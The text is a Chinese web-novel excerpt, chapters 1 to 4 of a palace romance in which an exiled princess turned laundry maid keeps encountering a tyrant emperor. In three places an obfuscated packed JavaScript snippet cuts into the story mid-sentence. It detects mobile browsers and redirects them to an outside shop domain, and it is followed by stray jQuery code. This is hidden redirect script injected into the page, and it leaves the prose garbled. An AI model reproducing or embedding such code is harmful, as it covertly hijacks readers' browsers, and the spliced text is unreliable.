《暴君执著于亡国的我》 1. 第 1 章 那是一个夏至时节,东瀛国的皇城中,有着前所未有的热闹景象。 午后,金色的阳光洒满京城,百姓们云集在街道两侧,一排排建筑都挂起了象征着尊敬与庆祝的装饰,这种场景一直延伸到城门口。 就像是集会一般,不,比那更胜,因为他们最崇高的天子,将在今天得胜还朝。 东瀛国的皇帝,结束了长达两年的御驾亲征,吞并了周围大大小小的国家,东瀛国毫无疑问的成为了全大陆最强的国家,这都是因为这位新登基的君王。 “不好意思!借过一下!” 而在喧嚣的人群中,只有言卿手里拎着一个破旧的篮子,快速的行走着。 细细的声音很快便被街上的欢呼声给淹没了,言卿艰难的穿梭着,对于从小养尊处优的她来说,无论过去多久都无法适应这种拥挤的生活。 “有那么开心吗?” 言卿悄悄嘀咕了两声,她不明白一个以战争为乐的人有什么好崇拜的,但无论如何,这都和她没关系,自己现在只要将新买的茶叶带回茶楼去就好。 “爷爷,我回来了……天呐!” 言卿从后门进入茶楼,却发现里面空无一人,桌子椅子都被人弄的乱七八糟,就像是被洗劫了一般。 心中顿时升起一阵不妙的感觉,于是言卿急忙放下篮子,跑到了前门。 “爷爷!昊儿!” 果然在茶楼门口看见了不知踪迹的俩人,茶楼的主人齐老爷子正紧紧的抱着他的孙子,警惕又慌张的看着面前凶神恶煞的众人。 “姐姐……” “言卿,别过来!” 当众人听见言卿的声音时,不约而同的回头,齐老爷子脸上露出慌张的神色,示意言卿离开。 言卿知道这些人是来做甚的…… 几乎是没有犹豫的,三步并作两步的冲了上去,一把将二人护在身后,对着面前的众人大声的说道。 “前两天不是已经交了银子了吗?为何今日要还要为难我们?” “噗,哈哈哈,小妞,那点钱连利息都不够啊,我们可已经宽容你们好几天了。” 但那几乎已经是茶楼这些天所有的收入了。 言卿不自觉的咬住了嘴唇。 欠债还钱,这是天经地义的事情,但最近所有生意都不景气,他们的茶楼几乎已经拿不出钱了。 但这并不是收债的人要考虑的事情,就像言卿不关心皇上凯旋一样,他们之间注定不能相互共情和理解。 “啊!快看,军队来了!” 就在言卿和对方对峙的时候,身边的街上突然传来一阵剧烈的欢呼声。 将家人护在身后的言卿下意识看过去,只见在那街道的尽头,缓缓出现许多马匹,那是大胜归来的军队。 “参见皇上!皇上万岁万岁万万岁!” 而在那龙首之处,铁蹄铮铮,一袭玄袍的帝王正端坐在战马之上,即使隔着十几米的距离,言卿依然能清晰的嗅到那人身上的血腥气。 那是和自己完全不同世界的人,即使面对如此热闹的的场景,皇帝也不为所动,只是用那淡漠的视线扫视着一切,显得那么无趣。 或许只有血和杀戮能引起他的兴趣,言卿知道,因为这个国家的新君主以侵略为乐,就像是毁灭自己国家的那些人一样…… 一想到故国,言卿的眸子里不由得染上一丝哀伤和愤怒,侵略者也好,这些催债的也罢,说到底不都是欺软怕硬之辈吗? 可就在言卿盯着皇帝的瞬间,后者原本在别处的视线猛的转了过来,言卿来不及躲闪,直接撞进了皇帝深邃的眼眸之中。 移不开视线…… 言卿不由得心慌,就像是被极其危险的猛兽盯上了一般,言卿感觉自己像一只弱小的兔子,下一秒就要被对方吞之入腹。 好在这种对视没有持续很久,皇帝率先移开了视线,言卿这才感觉时间开始流逝,自己终于可以呼吸了。 “好可怕……” 言卿回过神来,大口的吸了几口气。 自己还活着,但恐惧的感觉依旧环绕在言卿周围。 这辈子都不要和那种人扯上关系…… —— “皇上,怎么了?” 身为御前侍卫的肖风发现自家皇上一直盯着一个地方,立刻上前低声问道。 注意到皇上聚焦的目光,肖风顺着瞧去,却什么也没看到。 “无事,只是感到一阵杀气。” 纪玄逸收回视线,随口说道。 “什么!杀气!属下立刻派人……” “大惊小怪,朕看错了,只是兔子罢了。” 看着大惊小怪的肖风,纪玄逸不耐烦的皱了皱眉,策马离开。 “兔子?大街上会有兔子吗……不对,皇上也会看搞错吗?” 肖风满头雾水的跟了上去,战争结束了,但皇上看上去心情却变差了。 —— “喂,丫头,你还敢忽视我们,赶紧拿钱来!” 而现实中,言卿还要面对更棘手的问题。 “各位大爷,可否再宽容几天?一周,一周之后,我们绝对拿钱。” “哼,看在你这丫头有几分姿色的份上,再给你们一次机会,下次要是再拿不出钱来,就砸了你这破店,兄弟们,我们走!” 那群人说着,骂骂咧咧的走了,言卿这才可以放下防备,立刻转身查看两人的状况。 “爷爷,昊儿,没事吧!” “无事,言卿……哎,都是爷爷的错……” “别这么说爷爷,我们先回去吧。” 言卿一边抚摸着受惊的弟弟,一边安慰着齐老爷子。 “爷爷最近找了一份抓药的活儿,那大郎中人好,愿意收我,我问问他能不能提前把工钱给我……” 在三人合力将一片狼藉的茶楼收拾好之后,齐老爷子叹了口气。 “爷爷,说什么糊涂话呢,您年纪这么大了,要是从梯子上摔下来怎么办?租金的事我会想办法的,您就好好看着茶楼就好。” “但……” 齐老爷子好像还准备说什么,但被言卿摇了摇头打断了。 “昊儿的学费我今天去交了,私塾的先生说昊儿明日就可以过去了。” 言卿说着,捏了捏弟弟的小脸。 “姐姐……” “我会想办法的,你们不用担心。” “……” 说不担心是假的,言卿是一个倔强的姑娘,什么事情都想一个人扛,齐老爷子心知肚明,但看着言卿坚决的表情,他什么都说不出口。 言卿并不认为自己倔强或者逞强,因为自己所做的一切都是在报答齐老爷子的救命之恩。 言卿曾经是一个小国的公主,即使在宫中没什么存在感,但也算过的安逸,直到那一天…… 三年前,自己的国家被侵略了。 那一天,言卿失去了一切,无论是父母还是兄弟姐妹,无一不被残忍杀害,敌人的铁蹄踏破了皇宫的大门,只有当时在偏院的言卿,偷偷翻过了围墙,侥幸逃了出来。 但也只是苟活罢了,没有干粮,没有水,言卿就这样漫步在不知所云的森林中,自己的家消失了,她也不知道自己该去哪里,只是漫无目的的走着。 即使几次都有轻生的想法,但言卿没有勇气,最后因为体力不支,晕倒在了森林中。 待言卿再一次睁开眼时,自己便出现在了这个茶楼中,映入眼帘的第一个人是年幼昊儿,那时候他才刚学会说话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887811|192088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我在哪?” 言卿喃喃道,接着,端着药的齐老爷子走了过来。 后来言卿得知,自己晕倒在了距离东瀛国不远处的森林中,而恰巧上山采茶的齐老爷子发现了自己,便将她救了回来。 在得知自己无处可去之后,让她在茶楼中工作。 这就是三人相识的故事。 若不是齐老爷子,自己估计早就被野兽吃的只剩骨头了,所以言卿会用下半辈子来报答这份恩情,包括昊儿的父亲卷钱跑路后留下的巨额欠款...... 天色渐暗,言卿将齐老爷子扶回屋,将昊儿哄睡着之后独自下楼准备第二天茶馆需要的东西。 今天因为讨债的上门,导致整个下午茶馆都无法开张,又损失了许多钱财,明天无论如何也要恢复原状才行。 看来今天又要很晚才能休息了。 “叩叩叩——” 就在言卿忙碌收拾的时候,茶馆紧闭的门突然被敲响了。 现在时候已经不早了,谁会来拜访茶馆呢? 于是言卿放下手中的东西,缓缓走到门口,将门推开一个缝隙,试图看清来人是谁。 “刘伯伯,您怎么来了?” 来者是隔壁书店的老板,因为是邻居,平日里经常见面,也很照顾齐老爷子一家。 于是言卿将门打开,让刘伯伯进屋,并沏好了茶,询问起对方过来的原因。 “今日发生的事情,我都看见了,你们......可还好?” 刘伯伯一脸担忧的开口了,看上去是为了白天之事来的,对此,言卿只是笑了笑。 “刘伯伯不用担心,我们会撑过去的。” 言卿以为刘伯伯又想要借钱给她们,于是让对方不用担心,但刘伯伯突然面露难色,随后压低了声量,悄悄的对言卿说道。 “伯伯我,有认识的人在皇宫内工作,我已经和他打好照面了,说能让你去皇宫的洗衣房工作,一个月有十两银子的工钱。” “!” 听着刘伯伯的话,言卿瞪大了眼睛,一个月十两银子,那几乎是茶馆半年的收入,若是有了这笔钱,完全不用担心欠下的钱了。 “你看要是想去的话......” “想去!我想去!” 这是千载难逢的好机会,只有这样自己才能还得起高额的欠债,她不想放弃。 看着自己面前激动的言卿,刘伯伯欣慰的笑了笑。 “明天早上,去这个地方就好,会有人带你过去的。” 刘伯伯说着,递过来一张纸条。 “我和她解释了你的情况,每过三天就可以出宫一天,但一定要切记,在宫内千万要低调行事。” “刘伯伯......” 言卿抬眸,看向不断叮嘱自己的刘伯伯,眼里满是感动,几乎流泪。 “真的......真的十分感谢您......” 刘伯伯摇了摇头,语重心长的说道。 “是我要感谢你,言卿,在那个混小子跑了之后......是你撑起了这个家。” 每个月十两银子的工钱,不光能还清欠款,她还可以为昊儿置办一套新衣裳,他现在正是长身体的时候,家里的饭菜可以多一些肉了。 爷爷也不用担心药钱而不去看病了,若是自己能长久的在皇宫干下去,那现在这阴郁的日子或许就能得到喘息。 光是想象着美好的未来,言卿的心脏就猛烈的跳动了起来。 不过言卿唯一担心的,是自己去皇宫的日子里,茶楼的生意怎么办,昊儿要去私塾,爷爷的身体又无法一个人照看茶楼。 “唔......只能雇个人了吗?” 言卿思索了一会,最终决定在茶楼门口张贴一张告示。 2. 第 2 章 翌日,言卿早早的就收拾好东西动身前往皇宫。 在那之前,她已经将茶楼的事情都安排好。 因为还没有招到人,刘伯伯主动说来帮爷爷经营茶楼,让自己放心的去,昊儿也已经去私塾了,自己要做的就是努力赚钱。 “你就是言卿吧?” 言卿到达了纸条上的地点,那里果然有一个老妇人在等自己。 “您好,我是言卿,是刘伯伯介绍我来的。” “跟我来吧,我和你刘伯伯是老相识了,叫我王姨就好。” 言卿礼貌的和那人问好,这个叫王姨的人给自己的感觉和刘伯伯很像,那么的慈祥。 在两人见面的地方,不远处就有一个小门,王姨带着言卿穿过那扇门,走了一段路程,过了许久便到了一个院子。 “这里是皇宫的洗衣房,负责清洗主子们的衣裳,你以后就在这里做事就好。” 言卿点了点头,她有自信做好这件事情。 “千万不要小瞧了这事,在这里工作一定要十分的小心才行,若是将任何一件衣裳弄坏了都无法交代。” 王姨说着,将地上的一个装满衣物的桶子递给了言卿,随即转身说道。 “我还有事,你有什么问题就问翠莲吧。” 待王姨离开之后,言卿立刻走向一旁那叫做翠莲的姑娘。 “请问我应该去哪里清洗这些衣物?” “扑哧——” 本就是随口一问,但这名叫翠莲的女子表现的却不是很友善,对言卿的询问置之不理,不光是她。 以翠莲为首的一众姑娘都是如此。 没有回答,只是嬉笑的看着言卿。 言卿不由得皱眉,自己这是被霸凌了吗?可自己明明是第一天到这里才是。 这简直是无妄之灾。 王姨已经没了身影,现在这里只有自己一个人,言卿眼见问不出答案,立刻转身准备离开,不愿和她们争执。 这是自己好不容易才得到的机会,绝不能出岔子。 “洗衣房已经没有位置了哦,你就去找找附近的小溪吧,只不过水很冰就是了,嘻嘻。” “......多谢姑娘告知。” 言卿淡淡的应了一声,随后抱着一桶衣裳转身离去。 这硕大的洗衣房怎会没有位置,这摆明了是在刁难自己,不过这也正合言卿的意,她也不想和这群人呆在同一个地方工作。 “哼,哪里来的野丫头,王姨居然对她这么关照。” “翠莲姐,别管她了,一看她那狐媚胚子样就不像是干活的人,肯定过些日子就离开了。” 很显然,这些人对于突然出现的言卿怀有敌意,起码第一印象很不好。 而另一边,独自出去的言卿还在寻找小溪的路上。 自己今日无论如何都要将这些衣裳洗好,否则将会辜负王姨的信任。 可第一次来到东瀛皇宫的言卿就像是无头苍蝇一般乱走,她哪里知道小溪在何处。 事实上,皇宫里面真的会有供人洗衣的小溪吗?言卿不由得感到疑惑,许是那些人骗了自己? 不过好在,就在言卿快要放弃回头的时候,突然听到耳边有悉悉索索的水流声。 看上去不远处就有小溪。 言卿大喜,立刻快步上前,在穿过一片浓密的灌木丛之后,果然见到了一条清澈的小溪。 “太好了。” 言卿松了口气,在看了看周围确定无人之后,她才放下心来,将搓衣板放入水中。 这里到底还是皇宫,言卿不清楚这里是否允许洗衣,所以尽量避免被人发现。 “......真漂亮啊。” 没一会言卿便解决了所有衣物,距离天黑还有一些时间,于是言卿靠坐在一旁的梧桐树下,望向波光粼粼的宁静的小溪。 要说不愧是东瀛国吗?即使是在皇宫最边缘偏僻的地方,在园艺上面也丝毫没有敷衍之意,十分精致。 微风轻轻的撩拨起言卿的碎发,让她原本浮躁的内心渐渐平静下来。 身边十分安静,只能听见溪水潺潺的声音,言卿对此十分享受。 与其说是喜欢,不如说是放松,这对言卿来说是一种很奢侈的时光。 自己来到东瀛国已经多久了?不知道这次能赚到多少钱,昊儿在私塾过得好吗?爷爷的身体健康吗? 自己不能在这里休息,言卿还有很重要的事情去做。 但......困意悄然压上言卿的眼皮,言卿只觉得意识逐渐变得模糊。 就一会就好,稍微休息一下...... 然而,就在言卿坚信不会有人打扰自己的时候,危机,便在那一瞬间产生了。 “咔嚓......” 一声折断的树枝的声音在耳边响起,让本就敏感的言卿一下子惊醒过来。 就像是一个时候才意识到危险来临的食草动物一般,即使不知道来人是谁,的那言卿浑身的神经还是不自觉的紧绷了起来。 ‘那是何人?’ “咔嚓。” 那悠闲的脚步正不断向这边走来,一步,两步。 步履从容而有力,夹杂着踩碎枯叶的声音,逐渐朝言卿逼近。 就在言卿几乎停止呼吸的时候,那人突然停下了脚步。 于是在同一时刻,一下子清醒过来的言卿立刻转身躲到树后,就这样悄悄的将自己藏匿于树后。 一棵古老的梧桐完全遮住了她瘦小的身体,即便如此,言卿的心脏还是止不住的狂跳,就好像是死里逃生一般。 “到底是谁呢?” 天已经快要黑了,没有下人会来到这么偏僻的地方才对。 不知道对方是否看到了自己,但言卿突然意识到自己奇怪的举动,不禁感到疑惑。 “我为什么要躲起来?” 自己只是洗了衣服,睡了一会而已,又没有做错什么,为什么要像受惊的兔子一样逃跑? 于是,言卿拍了拍衣角,将脸从树后探了出来,想要看看来人的脸。 站在小溪边的是一位十分高大的男子,从言卿的角度看过去,几乎将阳光阻拦。 最先映入眼帘的是一袭墨袍,即使隔着一段距离,言卿也知道那布料不菲的价值......他不是寻常身份的人。 言卿可以肯定对方不是下人,不过,她却总感觉那人有种熟悉的感觉。 男人高高束起的墨发被微风吹动,视线控制不住的向上移动,言卿这才看清了那人的脸。 “嗬——” 也是在那一瞬间,言卿立刻捂住了嘴,防止自己惊呼出声,但相对的,她的瞳孔地震,身体就像是应激一般止不住的颤抖。 即使只在远处对视过一次,但那张脸,以及那不寒而栗的感觉,如同烙印一般刻在言卿的脑海中。 东瀛至高无上的天龙之子。 “怎么会,皇上怎会在此?” 言卿不敢置信的瞪大了双眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887812|192088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “要赶紧离开这里,在被发现之前!” 于是言卿屏住呼吸,小心翼翼的挪动着脚步,但...... 皇上似乎还没有发现自己,因为他的手缓缓抓住了袍子,在言卿震惊的目光中缓缓褪去衣物。 “!” 你不会是想进入小溪,对吧? ‘许是因为天气太热。’ 言卿如此想到,现在正值盛夏,当然可能因为也热的天气脱下袍子,但,您应该不会再继续了吧? 言卿的期望落空了,男人的手并没有停下,随着纪玄逸褪去里衣的动作,结实的肌肉逐渐暴露在空气中,言卿猛的转过头,心脏狂跳个不停。 男人的身形异常挺拔,没有一丝多余的赘肉,只是,更吸引言卿注意的,是那遍布整个上半身的,密密麻麻的崎岖伤痕......甚至很难找到完整的肌肤。 “必须马上离开这里。” 这样自己才不会因为觊觎龙体的罪名而被处死。 找个机会吧,在对方松懈的时候转身就跑。 可糟糕的是,即使已经将上半身完□□露,纪玄逸却依旧没有停下宽衣的手,甚至逐渐向下…… “嗬!” “咚——” 言卿倒吸一口冷气,这对于从未见过男人裸体的她来说冲击力太大了,几乎是下意识的向后倒去,但却一下子将自己身后装衣服的桶子撞翻在地上。 随着男人宽衣动作的一滞,言卿的大脑在那一瞬间变得无比苍白,所有计划都被抛之脑后。 她所能做的只有她迅速的装好衣服,抱起桶子仓皇而逃。 自己不能死在这里,昊儿,还有爷爷,都在等自己回家……一时间,求生的欲望战胜了恐惧。 不知道跑了多久,当言卿再回过神的时候,自己已经平安回到了洗衣房中……自己还活着。 “言卿,发生什么事了?为什么脸色如此苍白?” 与此同时,王姨见状担忧的上前问道。 “没,没什么,我很好,这些衣裳都洗完了。” “嗯?但我听翠莲她们说你今日不在洗衣房,怎么会......” “我在周遭找到了一条小溪。” 言卿心不在焉的说道,看上去自己不但差点丢掉小命,还被人污蔑。 “小溪?你可有看见谁?” 听到言卿的话,王姨的表情立刻严肃了几分。 “......没有,那里有谁在吗?” “唔,倒也不是有谁,只是皇宫的训练场在这附近,将士们会进场出入那边,皇上也是,不知翠莲是否告诉你了。” “......” 很显然,完全没有。 “没遇见什么人最好不过了,不过,这战争刚结束,皇上估计会好好休息一段时间。” ‘......并没有。’ 言卿绝望的闭上了眼睛,那位暴君似乎不需要休息。 不过事情既然已经发生了,言卿也只得接受,她现在唯一能期盼的,就是皇上没有发现自己,不派人追查那个窥视自己的小贼。 但那也只是言卿的期望而已。 因为即使不愿意回忆,但当时在溪边,在她转身的那一瞬间,男人同时转头看向了自己的方向,而在自己记忆的最后一刻,他甚至迈出了脚步。 那之后的事情言卿全都不知道了,因为她只顾着逃跑,也正因此,言卿也没有注意到,篮子内衣裳的数量不对...... 3. 第 3 章 深夜,乾清宫内。 纪玄逸缓缓停下了批阅奏折的手,用手摩挲着下巴,若有所思的看着随意扔在桌上的一件布料。 ‘这是男人的衣物。’ 纪玄逸好看的眉头微微皱起。 他一直知道有人躲在树后,只是不愿理会罢了,但那仓皇逃跑的背影无疑一个女人。 或者说的更确切一点,是那日在街上狼狈不堪的那个女人。 她为何会出现在皇宫? 纪玄逸无从得知,不过,无论是在街上还是溪边,那个无礼的女人都让他的内心有些烦躁。 “皇上,张国师又上奏邀您去其府中一聚了。” 在纪玄逸出神之际,肖风敲了敲门走了进来,有些无奈的向纪玄逸汇报道。 “自从您昨日回宫,到现在已经是第三次了,真是难缠。” 肖风摇了摇头,这个国师老头实在是太想将女儿送进后宫了。 皇上登基至今,别说立后了,后宫至今都空无一人,只要张国师的计划成功了,那她的女儿甚至有可能成为皇后。 因为因为这世上好像除了血和杀戮,没有任何事情能让自己眼前的这位君主提起兴趣。 就像现在,自从肖风进屋之后,纪玄逸一直靠坐在榻上,只是淡淡瞥了一眼肖风便将视线移开了......任谁看都是一副无聊的样子。 每次从战场回来皇上都是这副样子,肖风已经习惯了,自家皇上无法安稳下来治国,他无时不刻都在期待着下一次战争,所以,女人对于他来说...... “那便让他挑个吉日进宫。” “是......什么!您,您答应了?” “那是个难缠的老头,出去吧,朕乏了。” 纪玄逸摆了摆手,示意肖风出去,自己的侍卫真是越来越聒噪了。 “......遵命。” 没有人可以改变纪玄逸的决定,于是肖风恭敬的行礼,但就在啊他准备退出去之时,余光突然撇到桌上的东西,一个不该出现在屋子里的东西。 “咦?属下的衣裳怎么会在这里?” 原本转身准备就寝的纪玄逸听到身后的动静,缓缓看向门口疑惑的肖风,好看的眉头微微皱起,语气里似乎带着几分不满。 “你的?” “嗯,这上面还有属下家族的刺绣呢,不过属下记得前些日子送到洗衣房去了啊,怎么会在您这里?好奇怪......” 肖风拿起自己的衣服,喃喃自语道,仔细瞧了瞧,是干净的。 “朕在路边捡到的,是你的便拿走吧。” “谢皇上。” 即使嘴上应着,但肖风完全不信纪玄逸的话。 因为自己眼前的这位是一个永远不会低头瞧地上的君主。 皇上不知道那是自己的衣裳,就算知道,他也不会捡起来,相反,若是挡了他的路,皇上也会无情的踩上去,自己也会因此少一件衣裳。 但现在,皇上居然说捡到了自己的衣裳? 即使平时不怎么看着聪明,但肖风却觉得,其中必然有大秘密。 “慢着,有件事要你去调查一下......” “遵命。” 果然,肖风的猜测是正确的。 —— 距离在溪边偶遇纪玄逸已经过去一些时日了,言卿试图渐渐忘记那天的事情。 因为平日里同吃同住,翠莲她们渐渐对言卿放下了戒备,开始友善的对待她,言卿也不用再涉足洗衣房外的地方了,更不会遇见纪玄逸或者是别的可怕的人。 一切都在往好的方向发展,直到今天...... 清晨,言卿还是屋内第一个起床的,她早早的将今日要洗的衣裳分类并且泡到水里。 待都完成了之后,言卿一出院子,就看见王姨在门口和一位与其年龄相仿的宫女在说些什么。 正在交谈的两人注意到了一旁的言卿,下一秒王姨立刻叫住了她 “言卿,来的正巧,今天先把手里的活放一放吧,跟着刘姑姑去御花园瞧瞧。” “御花园?” “嗯,那边人手有些不够,你就跟着去吧,正巧去宫内瞧瞧,御花园的工钱可比这里高多了,哈哈哈。” 一提到工钱,言卿的表情立马就明亮了起来,这样啊,那确实是个好差事。 “那就麻烦您了,刘姑姑。” 言卿跟着刘姑姑一路来到了皇宫深处,不禁感慨。 只不过是穿过了几扇门而已,周围建筑的规模竟发生了如此大的变化。 甚至这还不是皇宫的中心,言卿甚至无法想象贵族们生活的地方有多豪华。 绕过精致的琉璃壁,言卿从远处便看见了御花园的入口。 青灰色的砖墙上爬满了野蔷薇,断墙根处还生着几株蒲公英,规模巨大,甚至一眼望不到头。 流水声不绝于耳,鸟雀的叫声也异常动听,所有的花卉都被修剪的整整齐齐。 此时正是初夏时节,御花园内一片生机勃勃的景象,就好像细到每一株小草都有人精心呵护一般。 一时间言卿甚至看出了神,直到刘姑姑上前搭话才回过神来。 “来吧,我带你逛逛这里。” 刘姑姑转身,示意言卿跟上自己,就像是观光一样为言卿介绍。 “这里是绛雪轩,现在是夏季,不太会有人造访,平日里会种些荷花。” ...... “那里是万春亭,也是这个季节人最多的地方,也是今天要帮忙的地方,皇上回来了,再过些日子便要举办赏花宴,这里的景色可一点都不能含糊。” 一听到纪玄逸的名号,言卿不由得打了个寒颤。 “能去的地方差不多就这些了,不过,千万要记住,一定不要涉足那个方向。” 到了最后,刘姑姑突然神色严肃的说道,指着一处由上等鹅卵石铺制而成的路。 “可以问为什么吗?” 言卿对此有些好奇,难道在重兵把守的皇宫还会有危险存在吗? “那条路通往养心斋和钦安殿,那是皇上经常会去到的地方,平日里倒无事,但现在皇上大胜归来,若不想一不小心得罪了皇上,还是不要靠近的好。” 刘姑姑一边小声的说着,一边有意无意的看向周围。 言卿在心里默默点头,如果是这样,那确实是十分危险的地方。 但,自己只是今天一天在御花园工作而已,应该不会那么倒霉遇见吧...... “哒。” 然而,当言卿弯腰去拿工具的时候,用余光瞥见一双玄色鎏金靴踏足在鹅卵石路上,正朝这边走来。 “那不是下人的打扮......” 就像是打破了和谐场景的存在一般,所有人的目光都不自觉的看向那人,脸上无一不露出惊讶之情。 一袭玄袍的男人缓步而行,而在强烈的脚步声中,言卿就像是被石化了一样,被强行勾起了一段不好的回忆。 不会吧,自己不会在做梦吧。 随着男人不断悠闲的拉近着距离,胸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887813|192088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腔里跳动的速度就越快,一种强烈的焦虑感朝言卿扑来。 “皇上万福金安。” 纪玄逸突如其来的登场,刘姑姑显然十分惊讶,御花园内的一众太监宫女猛地看向这边,如群鸟一般跑了过来。 快速的排成一列跪地,恭恭敬敬的磕头,言卿慢了一拍,回过神来立刻跟着跪地,将自己的头埋得低低的,试图将自己震耳欲聋的心跳声掩盖。 ‘我会死在这吗?’ 言卿的大脑一片空白,那个在小溪边被自己看到赤裸身体的男人,此刻就在自己面前,只有不到五步的距离。 “皇上,国师已经在地方候着了。” “那就让他等着。” 冷漠又带着几分笑意的声音从头顶传来,带着浓重的回响,让人忍不住打颤。 “他还带了嫡长女一起,但并未提前得到允许,需要属下去告知这点吗?” “不用,那样更好,只是多一双碗筷罢了。” “遵命,属下这就命人备酒。” 面前的两人一直在进行着言卿听不懂的对话,于是她也迫不得已的处于蜷缩状态,目光死死的盯着地面,用其他敏锐的感觉观察近在咫尺的纪玄逸。 许是刚饮完酒,言卿能闻到男人身上淡淡的酒香味,同时带着浓烈的龙涎香,让人难以忽视。 原以为两人只是路过,但现在好像没有离开御花园的意思。 在交谈结束之后,纪玄逸将目光移向了一旁的宫女们,而言卿就在其中。 “回皇上,这些都是御花园的宫女,正在准备过些日子的赏花宴。” 刘姑姑会意,立刻上前解释道。 “奴婢已经告诫过她们了,绝不会打扰到皇上。” 男人没有说话,于是言卿悄悄的抬起眼皮,宽大的肩膀就在眼前,言卿的心脏跳的更快了,脑子里满是在溪边的场景。 就像是有魔力一般,言卿不由得将目光向上移。 再来一点......再往上一些...... “!” 就这样,言卿在抬眸的一瞬间,毫无防备的撞进了某人的瞳孔中。 那漆黑深邃的眼眸静静的俯视着言卿,十分冰冷,不带一丝感情。 言卿的眼前恍惚了一下,大脑一片空白,回过神来之后便立刻低下了头。 不知什么时候说话的声音停止了,如期而至的沉默压得言卿喘不过气,她感到头顶有一道锐利的目光注视着自己,仿佛要将她刺穿。 ......男人依旧没有移开视线。 ‘不会吧,难道他认出我了?’ 言卿的呼吸异常急促,他在溪边看到自己的脸了吗? 不,即使皇上的感觉十分敏锐,但两人隔着很远的距离,他为何能肯定那人的身份? 于是言卿开始深呼吸,让自己冷静,在这场寂静结束之前,自己能做的就是像个木头一样站在这里。 “朕渴了。” 纪玄逸发出的声音是低沉的,看上去对于御花园的宫女一点也不感兴趣。 “属下这就派人去酒窖。” “不,拿些茶叶来,朕今日换换口味。” “......遵命?” 茶? 肖风话还没说完,纪玄逸便移动了步伐。 看上去这下要离开了,言卿保持着低着上身的姿势,只是转动着眼睛注视着纪玄逸的步伐。 那悠闲沉稳的脚步正有条不紊的走向大门,但就在言卿松了一口气的瞬间。 “那里。” 4. 第 4 章 逐渐疏远的脚步声没过便立刻停了下来,皇上在转身的瞬间,目光投向了某人。 “中间。” 弯着腰的宫女们立刻抬起头,惊讶的面面相觑,而在那一众宫女中间站着的,正是言卿。 “让那个宫女跟来。” 原本放松下来的心情立刻跌入了谷底,连同大脑都变得空白,言卿顿时感觉到天塌了。 浑身僵硬的言卿知道皇上是在说自己,但她却连一根手指都不敢动,更别说跟上去了。 而一旁的刘姑姑显得也十分慌张。 “请皇上恕罪,言卿她来宫里的时间不长,怕是会冒犯了皇......” “朕需要一个人沏茶。” 纪玄逸毫不留情的打断了刘姑姑的话,声音中不知怎的带着几分嘲讽。 “皇上,属下可以去宫里找专业的人来伺候......” 肖风也不理解为什么皇上突然指名一个小宫女,当然他也不能理解为什么一向讨厌喝茶的皇上会突然变卦。 “将茶叶放进杯中,很简单的工作。” 年轻的帝王不在乎任何人的话,在命令结束之后立刻转身离开,就和方才没什么两样,没过多久便消失在了众人的视线中。 空旷的御花园立刻陷入了死一般的沉寂,言卿这才抬起头来,小脸惨白,颤抖的凝视着纪玄逸离开的方向。 皇上要单独会见她。 —— 刘姑姑担忧的说着需要注意的事情,千万不要得罪了皇上,但言卿一句也没有听进去,她现在光是避免颤抖的双腿摔倒就已经很吃力了。 宫女急急忙忙给她换好的新衣裳就像是不合身一样让言卿难受,手上端着的托盘就像是千斤重的石头一样。 太监将言卿带到书房门前,方才还好奇皇宫中心样貌的言卿,仅仅过了一个时辰就见到了,但眼里只剩下了无尽的恐惧。 距离门口越近,言卿越感到呼吸困难。 “在皇上面前要守规矩,若皇上没发话,切记莫要开口。” “公公,我能知道皇上指名我的原因吗?” 即使知道得不到答案,但言卿依旧不顾失礼的开口了。 “......不要冒犯皇上。” 没有得到回答,太监最后叮嘱道,既是建议,也是警告,言语间带着几分对于言卿的惋惜。 当然了,除非你疯了,不然没有人会去让皇上心烦。 但问题是,言卿已经冒犯了。 无论现在说什么都无力回天,言卿深呼吸,就像是认命了一般。 太监提着嗓子通报了一声,没过多久书房的门便被人打开了。 言卿有印象,这人似乎是皇上的侍卫。 肖风看了看站在门口低着头的言卿,又看了看书房内,深深的叹了口气,随后将身子侧了侧,好让言卿进来。 言卿小心翼翼的迈开了步伐,肖风顺势走了出去,“啪”的一声将门关上。 将本就敏感的言卿吓了一跳,紧张的言卿悄悄的扫视了一圈书房。 一踏进书房,浓烈的紫檀木香便扑鼻而来,书房内十分亮堂,看上去十分昂贵的地毯上陈列着雕刻精致的家具。 而最吸引言卿目光的,是屏风后的那道无法忽视的人影。 屋内只有自己和皇上两人。 ‘皇上没有发话的时候,不要轻举妄动。’ 太监的话回响在言卿的耳边,屏风后的人影,看上去皇上正在查阅奏折,对于已经进入书房的自己没有一点反应。 于是言卿站在门口,一动不动,屋内安静的可怕,言卿能听到的只有自己急促的呼吸声。 